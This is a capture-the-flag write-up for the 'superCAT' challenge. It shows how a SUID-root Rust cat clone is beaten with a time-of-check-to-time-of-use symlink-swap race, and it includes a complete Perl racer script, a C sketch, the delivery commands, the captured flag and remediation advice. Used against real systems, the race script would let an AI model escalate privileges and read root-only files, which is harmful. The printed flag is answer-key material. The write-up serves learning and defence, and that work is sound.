superCAT
kitctf
Task: SUID-root Rust reimplementation of cat that re-runs its own permission checks in userland; std::fs::metadata (check) and fs::read_to_string (use) both follow symlinks on the same path with no fd pinning. Solution: TOCTOU symlink-swap race — flip a symlink between a decoy file we own and /flag so metadata sees the decoy (check passes) while the root read resolves to /flag, leaking the flag.
$ ls tags/ techniques/
superCAT — GPN24 CTF / KITCTF
Description
SuperCat. DO NOT EAT. The better, newer, more tasteful version of cat. Obv. highly opinionated
A SUID-root binary /usr/local/bin/supercat is a Rust reimplementation of cat.
Provided files (supercat.tar.gz): main.rs, Dockerfile, Cargo.toml,
Cargo.lock. We connect as user ctf (uid 1000) over ncat --ssl <host> 443,
which (via socat ... EXEC:bash) drops us into a bash shell as ctf. The goal is
to read /flag (owned root:root, mode 0400).
The word "highly opinionated" is the semantic clue: the program does NOT trust the kernel for access control — it re-implements the checks itself in userland. That re-implementation is the bug.
Environment / Setup
/flag—root:root, mode0400(only root may read)./usr/local/bin/supercat— SUID root (chmod 4755,chown root:root).- We are
ctf(uid 1000, gid 1000, groups=1000), Debian bullseye image, kernel 6.12. - Tooling on the box: only
perlwas present — nogcc/cc, nopython/python3. This dictated the exploit language (Perl racer rather than C).
Baseline behaviour:
$ supercat /flag
this super cat wont be tricked by your pesky bribery attempts...
$ supercat /tmp/m # a file we own, mode 0644
<contents printed 4 times> # once per passing permission check
Analysis — the four checks and why /flag fails them
main.rs does, in pseudocode:
let file_meta = std::fs::metadata(file)?; // (1) CHECK: stats the path let (uid, gid, groups) = get_permissions(); // (2) caller's REAL uid/gid/groups // parsed from /proc/self/status (ctf=1000) let mode = file_meta.mode(); // (3) four independent checks; each PASSING check calls grant_read(file): if uid == file_meta.uid() && (mode & 0o400) != 0 { grant_read(file); } // owner read if gid == file_meta.gid() && (mode & 0o040) != 0 { grant_read(file); } // group read if groups.contains(&file_meta.gid()) && (mode & 0o040) != 0 { grant_read(file); } // supp. group if (mode & 0o004) != 0 { grant_read(file); } // other read // grant_read: fs::read_to_string(file) then print -> runs AS ROOT, follows symlinks
Two critical facts:
std::fs::metadatafollows symlinks — it reports the uid/gid/mode of the symlink target, not the link.grant_readcallsfs::read_to_string(file)on the same path string — a second, independent resolution that also follows symlinks, and because the binary is SUID root, this read happens as root.
Why /flag fails all four checks honestly:
| Check | Condition | /flag is root:root 0400 |
|---|---|---|
| owner | uid(1000) == file.uid & 0o400 | file.uid == 0 → fail |
| group | gid(1000) == file.gid & 0o040 | file.gid == 0, and 0o040 bit clear → fail |
| supp. | groups ∋ file.gid & 0o040 | group 0 not in our groups, bit clear → fail |
| other | 0o004 | other-read bit clear → fail |
So an honest supercat /flag only prints the troll message.
Root cause — TOCTOU symlink-swap (check ≠ use)
The check (metadata(file)) and the use (read_to_string(file) inside
grant_read) are two separate path resolutions of the same
user-controlled path, and both follow symlinks. There is no
file-descriptor pinning between them (the program never open()s once and then
fstat()s the same fd). That is a classic time-of-check-to-time-of-use race.
If file is a symlink we own, we can swap its target between the two operations:
- During
metadata(): link → a decoy file we own (uid 1000, mode0444). The owner checkuid == file.uid && 0o400passes (and the0o044bits make the group/supp/other checks pass too). - Before
read_to_string(): link →/flag. The privileged root read resolves to/flagand leaks the flag.
Memory safety (Rust) is irrelevant here — this is a logic/ordering bug. The flag
itself (rUS7_IS_sHIT_CHAnG3_my_M1Nd) is the author's joke about exactly that.
Exploitation — step by step
- Create a decoy file
mineowned byctf, mode0444, with one linedecoy. - Create a symlink
f. We will flip its target between/flagandmine. - Fork a swapper child that atomically flips
fin a tight loop. Atomicity is achieved with the create-temp-symlink +rename()trick sofis never momentarily absent:unlink $T; symlink("/flag",$T); rename($T,$F);unlink $T; symlink($M,$T); rename($T,$F);
- Parent loop repeatedly runs
supercat fand greps stdout forGPNCTF{...}. - We win when
metadata()observes the decoy (so a check passes) while the subsequent rootread_to_string()resolves to/flag.
Delivery: the Perl racer was base64-encoded locally, piped over the
ncat --ssl bash shell, decoded to /tmp/race.pl, and run under timeout.
# local -> remote base64 -w0 race.pl | ncat --ssl <host> 443 # then on the remote shell: base64 -d > /tmp/race.pl <<'B64' <...payload...> B64 timeout 60 perl /tmp/race.pl
Solve script — race.pl
#!/usr/bin/perl use strict; use warnings; use POSIX ":sys_wait_h"; my $BIN = "/usr/local/bin/supercat"; my $F = "f"; # the symlink supercat will open my $M = "mine"; # decoy file we own (uid 1000, mode 0444) my $T = ".tmp_link"; # temp link used for atomic rename swap # 1) decoy file we own, world-readable -> makes a check pass open(my $fh, ">", $M) or die "decoy: $!"; print $fh "decoy\n"; close($fh); chmod 0444, $M; # 2) initial symlink points at the decoy unlink $F; symlink($M, $F) or die "symlink: $!"; # 3) swapper child: atomically flip f between /flag and the decoy my $pid = fork(); die "fork: $!" unless defined $pid; if ($pid == 0) { while (1) { unlink $T; symlink("/flag", $T); rename($T, $F); unlink $T; symlink($M, $T); rename($T, $F); } exit 0; } # 4) parent: hammer supercat and look for the flag for my $i (1 .. 200000) { my $out = `$BIN $F 2>/dev/null`; if ($out =~ /(GPNCTF\{[^}]*\})/) { print "WIN iter $i\n$out"; kill 'KILL', $pid; waitpid($pid, 0); exit 0; } } kill 'KILL', $pid; waitpid($pid, 0); print "no win\n";
Winning output
It won on iteration 4. The raw stdout literally showed:
decoy
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
this super cat wont be tricked by your pesky bribery attempts...
Interpretation: metadata() saw the decoy (mode 0444), so the owner,
group and supplementary-group checks all passed; for each of those three passing
checks the root read_to_string() had already resolved the symlink to /flag,
printing the flag three times. The single decoy line and the final troll line
are the iterations where the swap landed the other way.
C variant note
If gcc/cc had been present, an equivalent (often faster) racer is race.c: a
pthread swapper thread doing the same symlink+rename flip while the main
thread fork/execs supercat f in a loop. Compile only if a C compiler
exists:
// race.c (sketch) — compile: cc -O2 -pthread race.c -o race // thread: loop { remove(T); symlink("/flag",T); rename(T,F); // remove(T); symlink(M,T); rename(T,F); } // main: loop { fork(); child: execl(BIN,"supercat",F,NULL); parent: read & grep }
Because only perl was available on the target, the Perl racer was the correct
choice — no compiler, no Python.
Remediation
- A SUID program must never re-implement access control and then
open()by path. Correct approaches:open()the file once andfstat()that same fd (check-and-use on a single descriptor — no second path resolution).- Use
faccessat(AT_FDCWD, path, R_OK, AT_EACCESS | AT_SYMLINK_NOFOLLOW)/ open withO_NOFOLLOWso symlinks cannot be substituted. - Drop privileges (
setuidto the real uid) before reading user-named paths, letting the kernel enforce permissions.
- Parsing real uid/gid from
/proc/self/statusto make trust decisions is also fragile, but the actually-exploited bug is the path-based check/use race, not the proc parsing. - Memory-safe languages (Rust) do not prevent logic/TOCTOU vulnerabilities.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][free]Touch— HackTheBox
- [pwn][free]micromicromicropython— b01lersCTF
- [pwn][Pro]cat /flag under seccomp— spbctf
- [misc][free]rustjail— b01lersc
- [pwn][free]Paradise Nut— gpnctf